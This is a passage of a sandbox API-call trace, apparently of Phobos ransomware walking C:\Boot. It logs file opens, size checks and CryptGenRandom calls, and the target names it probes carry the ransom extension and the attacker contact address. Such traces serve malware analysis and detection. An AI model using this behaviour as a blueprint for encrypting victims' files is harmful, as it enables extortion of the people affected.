"c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.031] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=67424) returned 1 [0056.031] CloseHandle (hObject=0x304) returned 1 [0056.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0056.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.031] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.031] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.032] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.032] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=42904) returned 1 [0056.032] CloseHandle (hObject=0x304) returned 1 [0056.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0056.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.032] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.032] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.033] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.033] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=66912) returned 1 [0056.033] CloseHandle (hObject=0x304) returned 1 [0056.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0056.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.033] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.033] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.033] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.034] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=42912) returned 1 [0056.034] CloseHandle (hObject=0x304) returned 1 [0056.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0056.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.034] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.034] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.034] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.035] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=75616) returned 1 [0056.035] CloseHandle (hObject=0x304) returned 1 [0056.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui")) returned 0x20 [0056.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.035] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.036] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.036] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.036] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=75608) returned 1 [0056.036] CloseHandle (hObject=0x304) returned 1 [0056.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0056.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.036] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.036] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.036] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.036] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=811936) returned 1 [0056.037] CloseHandle (hObject=0x304) returned 1 [0056.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0056.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\memtest.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.037] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.037] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.037] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.037] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=75616) returned 1 [0056.037] CloseHandle (hObject=0x304) returned 1 [0056.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0056.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.037] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.038] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.038] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.038] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45472) returned 1 [0056.038] CloseHandle (hObject=0x304) returned 1 [0056.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui")) returned 0x20 [0056.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.038] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.038] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.038] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.038] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=78176) returned 1 [0056.038] CloseHandle (hObject=0x304) returned 1 [0056.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0056.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.039] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.039] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.039] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.039] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45472) returned 1 [0056.039] CloseHandle (hObject=0x304) returned 1 [0056.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui")) returned 0x20 [0056.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.039] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\memtest.exe.mui" (normalized: "c:\\boot\\nl-nl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.039] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.039] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.040] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=77656) returned 1 [0056.040] CloseHandle (hObject=0x304) returned 1 [0056.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0056.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.040] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.040] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.040] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.040] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45984) returned 1 [0056.040] CloseHandle (hObject=0x304) returned 1 [0056.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui")) returned 0x20 [0056.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.040] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\memtest.exe.mui" (normalized: "c:\\boot\\pl-pl\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.041] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.041] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.041] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=76640) returned 1 [0056.041] CloseHandle (hObject=0x304) returned 1 [0056.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0056.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.041] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.041] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.041] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.041] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45472) returned 1 [0056.041] CloseHandle (hObject=0x304) returned 1 [0056.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0056.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.042] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.042] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.042] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.042] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=76640) returned 1 [0056.042] CloseHandle (hObject=0x304) returned 1 [0056.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0056.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.042] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.042] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.042] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.043] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45984) returned 1 [0056.043] CloseHandle (hObject=0x304) returned 1 [0056.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0056.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.043] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.043] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.043] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.043] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=74080) returned 1 [0056.043] CloseHandle (hObject=0x304) returned 1 [0056.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0056.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.044] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.044] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.044] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.044] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=54168) returned 1 [0056.044] CloseHandle (hObject=0x304) returned 1 [0056.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0056.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.044] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.044] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.044] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.044] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=92576) returned 1 [0056.045] CloseHandle 